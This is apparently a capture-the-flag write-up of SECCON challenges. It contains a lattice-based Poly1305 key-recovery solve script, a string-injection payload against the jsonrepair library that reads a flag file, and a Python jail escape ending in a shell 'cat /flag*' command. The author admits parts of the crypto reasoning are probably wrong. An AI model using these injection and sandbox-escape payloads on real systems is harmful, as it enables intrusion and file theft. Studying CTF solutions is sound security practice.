The ciphertext C and authentication tag T, which are generated for the plaintext M by ChaCha20Poly1305 with K, N, are provided. The server also infinitely provides authentication tags for random 15-byte plaintexts. The server will give you the flag if you find the input where the authentication tag of $M \oplus \mathrm{input}$ is equal to the target F.
Let’s think about Poly1305. For key and nonce, keys of Poly1305, `r` and `s`, are generated. And the Poly1305 tag would be generated as the following for 15-byte plaintext:
$$
\mathrm{authentication\ tag} = ((\mathrm{right\ padded\ plaintext\ in\ LE} \times r^2 + \mathrm{0x1000000000000000f0000000000000000} \times r \mod \mathrm P) + s) \mod 2^{128}
$$
so if we have two tags $T_1$ and $T_2$:
$$
T_1 - T_2 + 2^{128}k \equiv (\mathrm{plaintext}_1 - \mathrm{plaintext}_2) \times r^2 \mod \mathrm{P} \quad(-4 \le k \le 4)
$$
and we know these plaintexts are less than $2^{120}$, because they’re padded 15-byte data.
And somehow I made the following (probably incorrect) conclusion (Idk, probably this is why my exploit randomly fails lol):
$$
-2^{120} < (T_1 - T_2) \times r^{-2} + 2^{128}k \mod \mathrm{P}) < 2^{120} \quad(-4 \le k \le 4)
$$
Anyway we can get such tags as much as we want from the server so we can generate a lot of numbers. So probably we can reduce this lattice:
$$
\begin{bmatrix}
p/4 & 0 & \dots & 0 & 0\\
0 & p/4 & \dots & 0 & 0\\
\vdots & \vdots & \ddots & \vdots & \vdots \\
0 & 0 & \dots & p/4 & 0\\
T_1 - T_2 & T_2 - T_3 & \dots & T_{n-1} - T_n & 1
\end{bmatrix}
$$
…to find the value of $r^{-2}$? This randomly fails, still not 100% sure why, but randomly *works*. And you know, that’s all we need for CTF.
Once we find $r^{-2}$, we can just invsqrt to get the r. You have the ciphertext C and its tag T, so you can also reconstruct the $s$ with this.
We need to find the $\mathrm{input}$ where $\mathrm{Poly1305}_{r,s}(\mathrm{ChaCha20}_{K,N,1}(M \oplus \mathrm{input})) = F$. Because $\mathrm{ChaCha20}_{K,N,1}(M) = C$, if you set $\mathrm{input}$ as $C \oplus x$, you can see $\mathrm{Poly1305}_{r,s}(\mathrm{ChaCha20}_{K,N,1}(M \oplus \mathrm{input})) = \mathrm{Poly1305}_{r,s}(\mathrm{ChaCha20}_{K,N,1}(M \oplus C \oplus x)) = \mathrm{Poly1305}_{r,s}(x) = F$. All good! Now you just need to find $x$ that satisfies:
$$
F = ((x \times r^2 + \mathrm{0x100000000000000100000000000000000} \times r \mod \mathrm P) + s) \mod 2^{128}
$$
, which can be done by easy calculations.
:::spoiler Solution code
```python
from pwn import remote, process, xor
import random
runflag = True
while runflag:
p = remote("nostalgic.seccon.games", int(5000))
p.recvuntil(b"my SPECIAL_MIND is ")
target = bytes.fromhex(p.recvline().decode().strip())
p.recvuntil(b"special_rain_enc = ")
ct = bytes.fromhex(p.recvline().decode().strip())
p.recvuntil(b"special_rain_tag = ")
tag = bytes.fromhex(p.recvline().decode().strip())
N = 50
P = 2 ^ 130 - 5
samples = []
for i in range(N + 1):
p.recvuntil(b"what is your mind: ")
p.sendline(b"need")
p.recvuntil(b"my MIND was ")
samples.append(int.from_bytes(bytes.fromhex(p.recvline().decode().strip()), byteorder='little'))
M = [[0] * (N + 1) for _ in range(N + 1)]
for i in range(N):
M[i][i] = P * 2^10
for i in range(N):
M[N][i] = (samples[i + 1] - samples[i]) * 2^12
M[N][N] = 1
m = matrix(ZZ, N + 1, N + 1, M)
lll = m.BKZ()
x = int(lll[1][-1])
root_a = (Integers(P)(1) / Integers(P)(x)).sqrt()
if root_a.polynomial().degree() == 1:
root_a = (Integers(P)(1) / Integers(P)(-x)).sqrt()
root_b = -root_a
for possible_r in [root_a, root_b]:
acc = int((int.from_bytes(ct, byteorder='little') + 2**128) * possible_r ** 2 + 0x100000000000000100000000000000000 * possible_r) % P
t = int.from_bytes(tag, byteorder='little')
possible_s = (t - acc) % 2**128
for sample in samples:
acc = (sample - possible_s) % 2**128
for i in range(-4, 5):
data = (int(acc - 0x1000000000000000f0000000000000000 * possible_r + i * 2**128) * pow(possible_r, -2, P)) % P
if data - 2**128 < 2**120: # succeed
break
else:
break # fail
else:
break # succeed
else:
print("no good r is found")
p.close()
continue
runflag = False
print("found r", possible_r)
# data * r2 + const * r === acc target
# acc target + s = target
acc_target = (int.from_bytes(target, byteorder='little') - possible_s) % 2^128
for z in range(5):
possible_data = ((acc_target + z * 2^128 - 0x100000000000000100000000000000000 * possible_r) * pow(possible_r, -2, P)) % P
if 2^128 <= possible_data < 2^129:
answer = xor(int(possible_data - 2^128).to_bytes(16, byteorder='little'), ct)
#answer = ct
break
else:
print("?? wrong on acc target")
exit(-1)
p.recvuntil(b"what is your mind: ")
p.sendline(answer.hex())
p.interactive()
```
:::
Flag: `SECCON{Listening_to_the_murmuring_waves_and_the_capricious_passing_rain_it_feels_like_a_gentle_dream}`
---
## JAIL
### broken_json
https://github.com/josdejong/jsonrepair/blob/main/src/regular/jsonrepair.ts#L841
```javascript=
function parseRegex() {
if (text[i] === '/') {
const start = i
i++
while (i < text.length && (text[i] !== '/' || text[i - 1] === '\\')) {
i++
}
i++
output += `"${text.substring(start, i)}"`
return true
}
}
```
`/asdfasdf/` will be changed to `"asdfasdf"`. If you enter `/asdf"qwer/` it will be changed to `"asdf"qwer"`, with the `qwer` portion being escaped within string.
`/a"+[process.binding("fs").readFileUtf8("\/flag-235a7a7283c92a9c1f9a1e521e0e70f3.txt", 0, false)]+'/`
__Flag__: `SECCON{Re:Jail_kara_Hajimeru_Break_Time}`
### execpython
We can bypass filter with `.format()` like `"\56".format()`.
`__traceback__.tb_frame` has builtins. Then, save the object to ex with error.
```
jail> 1/0
jail> "{0\56__traceback__\56tb_frame\56f_builtins\56lol}".format(ex)
jail> {}[lambda: ex.obj['__import__']('os')]
jail> {}[[*ex.args][0]()]
jail> "{0\56args[0]\56system\56lol}".format(ex)
jail> ex.obj('cat /flag*')
SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}
```
__Flag__: `SECCON{Pyth0n_was_m4de_for_jail_cha1lenges}`